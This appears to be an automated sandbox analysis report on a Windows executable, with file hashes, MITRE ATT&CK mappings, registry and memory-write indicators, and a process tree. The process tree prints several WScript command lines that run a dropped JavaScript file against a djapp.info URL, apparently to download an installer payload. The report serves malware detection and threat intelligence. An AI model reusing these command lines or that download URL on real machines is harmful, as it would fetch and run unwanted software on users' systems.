263508a66db969905df2cb54fbbafd2a8e0ee3a98cbf9e949d44bca3be35db17

General

Target

30992eaa7909ebae8dff8881e3a3c5ec_JaffaCakes118.exe
Size

184KB
MD5

30992eaa7909ebae8dff8881e3a3c5ec
SHA1

23f9c544304a339e429573aed7a91287dd0f53a7
SHA256

263508a66db969905df2cb54fbbafd2a8e0ee3a98cbf9e949d44bca3be35db17
SHA512

80944808c5b80cb1f897f01be1ca442094aae4c90bca3c168b36d4ed45f03464818fab38ca1bc11db1d48ffa610e2324eeb4dfe92a7bbce4ce19784611caa291
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO34:/7BSH8zUB+nGESaaRvoB7FJNndnl

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
9	452	WScript.exe
38	3380	WScript.exe
40	4232	WScript.exe
41	4232	WScript.exe
56	2408	WScript.exe
57	2408	WScript.exe
59	224	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	30992eaa7909ebae8dff8881e3a3c5ec_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4324	4784	WerFault.exe	81

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings	30992eaa7909ebae8dff8881e3a3c5ec_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4784 wrote to memory of 452	4784	30992eaa7909ebae8dff8881e3a3c5ec_JaffaCakes118.exe	82
PID 4784 wrote to memory of 452	4784	30992eaa7909ebae8dff8881e3a3c5ec_JaffaCakes118.exe	82
PID 4784 wrote to memory of 452	4784	30992eaa7909ebae8dff8881e3a3c5ec_JaffaCakes118.exe	82
PID 4784 wrote to memory of 3380	4784	30992eaa7909ebae8dff8881e3a3c5ec_JaffaCakes118.exe	97
PID 4784 wrote to memory of 3380	4784	30992eaa7909ebae8dff8881e3a3c5ec_JaffaCakes118.exe	97
PID 4784 wrote to memory of 3380	4784	30992eaa7909ebae8dff8881e3a3c5ec_JaffaCakes118.exe	97
PID 4784 wrote to memory of 4232	4784	30992eaa7909ebae8dff8881e3a3c5ec_JaffaCakes118.exe	98
PID 4784 wrote to memory of 4232	4784	30992eaa7909ebae8dff8881e3a3c5ec_JaffaCakes118.exe	98
PID 4784 wrote to memory of 4232	4784	30992eaa7909ebae8dff8881e3a3c5ec_JaffaCakes118.exe	98
PID 4784 wrote to memory of 2408	4784	30992eaa7909ebae8dff8881e3a3c5ec_JaffaCakes118.exe	101
PID 4784 wrote to memory of 2408	4784	30992eaa7909ebae8dff8881e3a3c5ec_JaffaCakes118.exe	101
PID 4784 wrote to memory of 2408	4784	30992eaa7909ebae8dff8881e3a3c5ec_JaffaCakes118.exe	101
PID 4784 wrote to memory of 224	4784	30992eaa7909ebae8dff8881e3a3c5ec_JaffaCakes118.exe	102
PID 4784 wrote to memory of 224	4784	30992eaa7909ebae8dff8881e3a3c5ec_JaffaCakes118.exe	102
PID 4784 wrote to memory of 224	4784	30992eaa7909ebae8dff8881e3a3c5ec_JaffaCakes118.exe	102

C:\Users\Admin\AppData\Local\Temp\30992eaa7909ebae8dff8881e3a3c5ec_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\30992eaa7909ebae8dff8881e3a3c5ec_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4784
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2A6B.js" http://www.djapp.info/?domain=GuHzBTwKGs.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf2A6B.exe
  2⤵
  - Blocklisted process makes network request
  PID:452
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2A6B.js" http://www.djapp.info/?domain=GuHzBTwKGs.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf2A6B.exe
  2⤵
  - Blocklisted process makes network request
  PID:3380
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2A6B.js" http://www.djapp.info/?domain=GuHzBTwKGs.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf2A6B.exe
  2⤵
  - Blocklisted process makes network request
  PID:4232
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2A6B.js" http://www.djapp.info/?domain=GuHzBTwKGs.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf2A6B.exe
  2⤵
  - Blocklisted process makes network request
  PID:2408
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2A6B.js" http://www.djapp.info/?domain=GuHzBTwKGs.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf2A6B.exe
  2⤵
  - Blocklisted process makes network request
  PID:224
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4784 -s 1296
  2⤵
  - Program crash
  PID:4324

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4784 -ip 4784
1⤵
PID:396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf2A6B.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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